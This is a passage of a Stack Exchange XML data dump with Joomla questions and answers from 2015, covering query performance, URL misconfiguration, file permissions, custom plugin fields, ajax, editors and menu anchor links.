  <row Id="6955" PostTypeId="2" ParentId="1086" CreationDate="2015-01-12T09:42:08.973" Score="1" Body="&lt;p&gt;Fixed this. The table sva_usergroups is using join condition. I am using 5000 User groups. So many user groups causing the join condition to go in never ending operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the following code to this one(removed joins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location : /libraries/joomla/form/fields/rules.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getUserGroups()&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select('id AS value, title AS text, COUNT(DISTINCT id) AS level, parent_id')&#xA;            -&amp;gt;from('#__usergroups');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $options = $db-&amp;gt;loadObjectList();&#xA;&#xA;        return $options;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3470" LastEditorUserId="3470" LastEditDate="2015-01-27T10:46:00.657" LastActivityDate="2015-01-27T10:46:00.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6956" PostTypeId="1" CreationDate="2015-01-12T10:17:01.730" Score="1" ViewCount="295" Body="&lt;p&gt;Link alias double up.&#xA;My template for the Admin panel is showing a blank white page because the URL's used to resolve the CSS, images, javascript etc are incorrect, despite the page itself having some components that are correctly processed by the Joomla! PHP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link href=&quot;my-page.com/administrator/templates/isis/favicon.ico&quot; rel=&quot;shortcut icon&quot; type=&quot;image/vnd.microsoft.icon&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;my-page.com/media/jui/css/chosen.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;/code&gt;&lt;strong&gt;templates/isis/css/template.css&lt;/strong&gt;&lt;code&gt;&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;html { display:none }&#xA;  &amp;lt;/style&amp;gt;&#xA;  &amp;lt;script src=&quot;&lt;/code&gt;&lt;strong&gt;my-page.com/media/system/js/mootools-core.js&lt;/strong&gt;&lt;code&gt;&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;my-page.com/media/jui/js/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see some of the links are correct, some are not. All this code is generated by &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; in the index.php file under &lt;code&gt;administrator/templates/isis/login.php&lt;/code&gt;&#xA;templates/isis/css/template.css is correct whilst mypage.com/media/system/js/mootools-core.js is not correct as it's a relative link so it resolves to my-page.com/administrator/my-page.com/media/system/js/mootools-core.js...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's SEF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also happening on my root index page too, not just the admin page.&#xA;Been stuck on this for way too long.&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="3471" LastEditDate="2015-01-13T05:34:31.907" LastActivityDate="2015-03-14T09:17:24.020" Title="URL's being written absolutely in some places and relatively in others" Tags="|administrator|sef|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6957" PostTypeId="2" ParentId="6952" CreationDate="2015-01-12T10:22:43.187" Score="2" Body="&lt;p&gt;This is normally due to the folder having an owner different from what Joomla is running under. The most common case is having PHP running under mod_apache and having copied Joomla! by FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three solutions (best first):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Change from Apache to CGI/FCGI PHP. This rans using your account which should match the folders. Unfortunately this generally requires service provider action and they will generally refuse to do it, but you should ask anyway as they may agree or be able to move you to a server with different configuration. Some server control panels allow the user to choose the PHP API used with Apache being often the default since it uses somewhat less resources and used to be faster.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure Joomla! to use FTP for file access in Joomla! site settings. If you use same account (or an account in the same group?) everything should work. The downside is that the FTP is somewhat painful to configure as finding the correct basepath can be a pain, if you have no prior experience. You can find it with PHP code and it is usually visible &lt;strong&gt;somewhere&lt;/strong&gt; in the server control panel. FTP is also much slower, but writes are generally rare enough for this not to be a serious issue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the owner of the image folder. chown works fine if you can use command line. Otherwise just copy the folder, remove the original, and restore it using a PHP based file manager. The file manager would presumably ran under the same owner as Joomla! and everything should work. The downside is that this messes up your security so you do not want to do it for all files and folders, but when installing updates Joomla! actually occasionally &lt;strong&gt;needs&lt;/strong&gt; to write to any folder and quite often to temp and cache.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is a related article &lt;a href=&quot;http://www.dionysopoulos.me/2010/07/&quot; rel=&quot;nofollow&quot;&gt;http://www.dionysopoulos.me/2010/07/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lots of other articles on the web. This is one of the most common server issues.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-12T10:22:43.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6958" PostTypeId="1" CreationDate="2015-01-12T14:44:09.083" Score="2" ViewCount="438" Body="&lt;p&gt;I created a plugin to extend the article edit options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Name for my plugin is sectionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the code for the installation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;2.5&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_content_sectionary&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.1.2&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_SECTIONARY_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;sectionary&quot;&amp;gt;sectionary.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;language/de-DE/de-DE.plg_content_sectionary.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;language/de-DE/de-DE.plg_content_sectionary.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the code for the sectionary.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;class plgContentSectionary extends JPlugin {&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     * Note this is only available in Joomla 3.1 and higher.&#xA;     * If you want to support 3.0 series you must override the constructor&#xA;     *&#xA;     * @var boolean&#xA;     * @since 3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function onContentPrepareForm($form, $data) {&#xA;        $app = JFactory::getApplication();  &#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        switch($option) {&#xA;            case 'com_content':&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('sectionary', false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the code for the sectionary.xml which contains the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fields name=&quot;attribs&quot; &amp;gt;&#xA;      &amp;lt;fieldset name=&quot;section1&quot; label=&quot;SECTION1_TAB&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;                    name=&quot;sec1-enable&quot;&#xA;                    type=&quot;radio&quot;&#xA;                    class=&quot;btn-group btn-group-yesno&quot;&#xA;                    label=&quot;SEC1_ENABLE_LABEL&quot;&#xA;                    default=&quot;0&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field name=&quot;sec1-headline&quot; type=&quot;text&quot; label=&quot;SEC_HEADLINE&quot; filter=&quot;SAFEHTML&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;sec1-bg-img&quot; type=&quot;media&quot; label=&quot;SEC_BG_IMG_LABEL&quot; /&amp;gt;&#xA;       &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;fieldset name=&quot;section2&quot; label=&quot;SECTION1_TAB&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;                    name=&quot;sec2-enable&quot;&#xA;                    type=&quot;radio&quot;&#xA;                    class=&quot;btn-group btn-group-yesno&quot;&#xA;                    label=&quot;SEC1_ENABLE_LABEL&quot;&#xA;                    default=&quot;0&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field name=&quot;sec2-headline&quot; type=&quot;text&quot; label=&quot;SEC_HEADLINE&quot; filter=&quot;SAFEHTML&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;sec2-bg-img&quot; type=&quot;media&quot; label=&quot;SEC_BG_IMG_LABEL&quot; /&amp;gt;&#xA;       &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point every things works fine.&#xA;The plugin is installed perfectly.&#xA;I can successfully save data in the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cant echo the saved data in my template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I use:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo ($params-&amp;gt;sec1-headline); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to echo the headline from fieldset name=&quot;section1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3457" LastEditorUserId="126" LastEditDate="2016-01-21T23:53:58.533" LastActivityDate="2016-01-21T23:53:58.533" Title="Echo custom fields from own plugin is not working" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6959" PostTypeId="1" CreationDate="2015-01-12T14:59:15.913" Score="2" ViewCount="272" Body="&lt;p&gt;In Joomla 3, I want to filter on tags for featured articles within an override of featured/default.php itself. &#xA;I have a module that filters the tags of featured articles out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to 'use' the results of the module within the override? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after that set a filtering on it with Javascript? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module (position) itself can be added to default.php, but I want to go a step further.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="126" LastEditDate="2016-01-21T23:53:00.427" LastActivityDate="2016-01-21T23:53:00.427" Title="Filtering tags of featured articles Joomla within override of featured articles" Tags="|module|articles|tags|content-filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6960" PostTypeId="1" AcceptedAnswerId="6963" CreationDate="2015-01-12T16:42:31.787" Score="1" ViewCount="238" Body="&lt;p&gt;I try to run the &lt;a href=&quot;http://www.openwebanalytics.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;openwebanalytics&lt;/a&gt; software locally under wampserver and joomla using the instructions of this &lt;a href=&quot;https://www.youtube.com/watch?v=Cj-d8HJYH2k&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have insert the owa file under the joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I type in my browser the path for the file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  http://localhost/openwebanalytics/owa/install.php &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and press the start button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next step I get this &lt;img src=&quot;https://i.stack.imgur.com/ttpsu.png&quot; alt=&quot;error&quot;&gt; but I can insert the data for the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I press the button for the next step and I get only warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be possible wrong with the process?&lt;/p&gt;&#xA;" OwnerUserId="1641" LastEditorUserId="1641" LastEditDate="2015-01-12T17:12:36.413" LastActivityDate="2015-01-12T19:17:52.603" Title="Configuration of open web analytics locally" Tags="|joomla-3.x|php|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6961" PostTypeId="2" ParentId="6952" CreationDate="2015-01-12T17:10:31.083" Score="0" Body="&lt;p&gt;Directory or file permissions are a security measure, but they are not the main issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your site has an open vector of attack. Intruders have found an open door in your site. E.g. an old extension from an unknown source or an outdated server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start to secure your site with this checklist: &lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Security_Checklist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Getting Started&lt;/li&gt;&#xA;&lt;li&gt;Hosting and Server Setup&lt;/li&gt;&#xA;&lt;li&gt;Learn about file permissions&lt;/li&gt;&#xA;&lt;li&gt;Testing and Development&lt;/li&gt;&#xA;&lt;li&gt;Joomla Setup&lt;/li&gt;&#xA;&lt;li&gt;Site Administration&lt;/li&gt;&#xA;&lt;li&gt;Site Recovery&lt;/li&gt;&#xA;&lt;li&gt;You have been hacked or defaced&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-12T17:10:31.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6962" PostTypeId="1" CreationDate="2015-01-12T18:58:47.480" Score="3" ViewCount="1423" Body="&lt;p&gt;I have seen a lot of inquiries about ajax, but normally there are about retrieving data from database. I was wondering about how to insert data directly interacting inside a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a module with listings retrieved from database and I would like that registered users can keep certain information from the module to be accessed later. It would be fine just to have a button near each element from the list to save it to a table maybe with two columns: User and Element ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have researched and it seems that is easy using a wrapper calling a php script that inserts the records, but I am sure that this is a problem for security.&#xA;Any ideas, please?&lt;/p&gt;&#xA;" OwnerUserId="3475" LastActivityDate="2015-08-13T21:36:18.793" Title="Insert into database with ajax from a joomla 3 module" Tags="|module|security|database|ajax|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6963" PostTypeId="2" ParentId="6960" CreationDate="2015-01-12T19:17:52.603" Score="2" Body="&lt;p&gt;First of all, are you sure you need to install OWA on localhost? I don't see any important reasons for this, as you'll still need to have it on a web server in order to track anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your error states that &lt;code&gt;preg_replace&lt;/code&gt; using the &lt;code&gt;/e&lt;/code&gt; modifier is deprecated. This is &lt;a href=&quot;http://php.net/manual/en/migration55.deprecated.php&quot; rel=&quot;nofollow&quot;&gt;deprecated as of PHP 5.5&lt;/a&gt;, thus I'm guessing you're using Wampserver with PHP 5.5. According to the &lt;a href=&quot;http://wiki.openwebanalytics.com/index.php?title=Technical_Requirements&quot; rel=&quot;nofollow&quot;&gt;OWA Technical Requirements&lt;/a&gt;, the software requires PHP 5.2.x or later, but it looks like PHP 5.5 is not fully supported yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you install OWA on a webserver running PHP 5.4.x until PHP 5.5 is fully supported. If you have to use it on your localhost, you can find older versions of &lt;a href=&quot;http://sourceforge.net/projects/wampserver/files/WampServer%202/&quot; rel=&quot;nofollow&quot;&gt;Wampserver at SourceForge&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-12T19:17:52.603" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6964" PostTypeId="2" ParentId="6958" CreationDate="2015-01-12T20:26:31.527" Score="1" Body="&lt;p&gt;Besides the source code that you have published, you have to follow a plug-in structure to implement all the recommended events. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particularly, to render the fields you have to implement onContentPrepare.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;onContentPrepare() is called when the article is being prepared for display. This is the moment where HTML can be injected into what will be displayed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adding custom fields to the article component - onContentPrepare&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component#onContentPrepare&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_the_article_component#onContentPrepare&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-12T20:26:31.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6965" PostTypeId="2" ParentId="6962" CreationDate="2015-01-12T21:07:51.930" Score="2" Body="&lt;p&gt;It is perfectly possible. Check this com_ajax example, saving information in the user session:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Joomla Ajax Interface&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ajax-Session-Module&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ajax-Session-Plugin&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Plugin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to implement your own tables, all requests must be associated with the current userid in module for &quot;registered&quot; users only.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-12T21:07:51.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6966" PostTypeId="1" CreationDate="2015-01-12T21:24:50.410" Score="2" ViewCount="218" Body="&lt;p&gt;When I have tiny MCE as the default editor I was able to add html to the editor using this javascript command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var content = tinyMCE.get(editor).getContent();&#xA;content = tinyMCE.get(editor).setContent(&quot;&quot;);&#xA;jInsertEditorText(html, editor);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to target both editors or all editors please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-08-29T18:10:38.397" LastActivityDate="2015-08-29T18:10:38.397" Title="Targetting JCE editor" Tags="|jce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6967" PostTypeId="2" ParentId="6966" CreationDate="2015-01-12T22:20:01.933" Score="1" Body="&lt;p&gt;According to my experience &lt;strong&gt;tinymce&lt;/strong&gt; variable. has the access to any editor, and you can access the content with &lt;strong&gt;tinymce.activeEditor.getContent()&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: There is only one special case with Zoo, where the previous sentence returns empty, and you have to call &lt;em&gt;tinymce.editors[0].getContent()&lt;/em&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-12T22:20:01.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6969" PostTypeId="1" AcceptedAnswerId="6992" CreationDate="2015-01-13T05:38:50.443" Score="4" ViewCount="805" Body="&lt;p&gt;After an malresearched update I have broken my joomla installation trying to push 3.2.7 to 3.3.6 as my server does not support the Php version required. Since I didn't keep backups as it is currently a test environment it would be easier for me to just reinstall from scratch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of all the questions using the words in the title their does not appear to be a question in regards to uninstallation of Joomla. To try an narrow this down so that it is not too broad do I simply just need to remove the folder where it was installed? So just the www directory if this server only had Joomla installed? Is there only the one database I need to remove from Phpmyadmin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running on a CentOS release 6.6 (Final) server. I have complete control of this machine. &lt;/p&gt;&#xA;" OwnerUserId="1811" LastActivityDate="2015-01-14T00:23:47.563" Title="Remove entire joomla installation" Tags="|joomla-3.x|phpmyadmin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6970" PostTypeId="2" ParentId="6969" CreationDate="2015-01-13T06:10:52.460" Score="2" Body="&lt;p&gt;Yes, just clear the installation folder and remove the database. If you intend to reinstall you only need to clear the files and tables, you can reuse the folder and database.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-13T06:10:52.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6971" PostTypeId="2" ParentId="6956" CreationDate="2015-01-13T06:53:57.037" Score="1" Body="&lt;p&gt;&lt;strike&gt;I think I've found my issue after having installed a new version of Joomla and getting the same result. I've misconfigured Apache. I'm using virtual hosts and my httpd.conf has entries to redirect some url's but I believe it's doing this for all url's causing this misdirection issue. Not related to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do apologise for consuming anyone's time on the matter, I will update this answer when I've fixed it.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: this is not the cause, it appears to be&lt;/em&gt; &lt;strong&gt;SEF&lt;/strong&gt; &lt;em&gt;related..&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit 2: SEF did not help things but the &lt;strong&gt;problem was the live_site constant in configuration.php&lt;/strong&gt; if set to my sites address, presumably because I'm using a virtual host setup, Apache AND Joomla! couldn't effectively sort out the URL's, it was writing them 3 times in a row in some cases.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;live_site = '';&lt;/code&gt; (empty), in &lt;code&gt;configuration.php&lt;/code&gt; Now all the URL's are fine and all content is showing, Admin page is accessible again.**&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="3471" LastEditDate="2015-01-13T08:10:57.830" LastActivityDate="2015-01-13T08:10:57.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6972" PostTypeId="1" AcceptedAnswerId="6980" CreationDate="2015-01-13T07:29:56.387" Score="0" ViewCount="336" Body="&lt;p&gt;In my administrator/component folder, i have the a download.php file which performs downloading of a file from the browser. I have a link to the php file below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href = &quot;&amp;lt;?php echo JPATH_COMPONENT_ADMINISTRATOR.'/download.php';?&amp;gt;&quot;&amp;gt;download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i click the link, it does nothing, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I change it to this link below and move the file to C:\xampp\htdocs\BDES3\administrator\&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href = &quot;&amp;lt;? echo 'download.php';?&amp;gt;&quot;&amp;gt;download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the link actually works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code inside download.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = 'E:\hello.txt';&#xA;&#xA;if (file_exists($file)) {&#xA;     header('Content-Disposition: attachment; filename='.basename($file));&#xA;     readfile($file,false);&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to download a sample file when I click the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with my code? or does it have something to do with directories in Joomla? or are there easier ways in downloading files from joomla?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-01-13T08:49:44.100" LastActivityDate="2015-01-13T13:14:16.540" Title="Cannot execute a php file in administrator/component directory" Tags="|joomla-3.x|download|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6973" PostTypeId="1" AcceptedAnswerId="6974" CreationDate="2015-01-13T07:45:54.213" Score="1" ViewCount="914" Body="&lt;p&gt;I have bought a template, this template has an HTML5 template like , i mean the different sections are separarted as sections and its menus click make an slides to them, but , i don't know why, the system lynks , with external URL options is adding the path to the #anchorlinktodesiredsection&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aR1Fy.jpg&quot; alt=&quot;menu linking method&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final &lt;code&gt;&amp;lt;a href=&quot;/directory/#anchorlinktodesiredsection&quot;&amp;gt;menu item&amp;lt;/a&amp;gt;&lt;/code&gt; &#xA;adds the path within it, this makes the soft sliding  not to work and although it moves to the place it does it by recharging the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i would like is to find a method to be able to place only the #anchorlinktodesiredsection at the link so it glides again as in the original template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;#anchorlinktodesiredsection&quot;&amp;gt;menu item&amp;lt;/a&amp;gt;&amp;lt;!-- no directory at href link--&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried to remove the directory by hand and it works. Obviusly this is not an answer for the system menu has to be able to add new sections without adding the path automaticaly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT THANK TO wouho( posted the clue to solve this )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i edited my own mod_menu template and solved it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($menu-&amp;gt;getActive() != $menu-&amp;gt;getDefault()) {&#xA;   /* $flink= JURI::base( true ).'/'.$flink;*/&#xA;$flink= 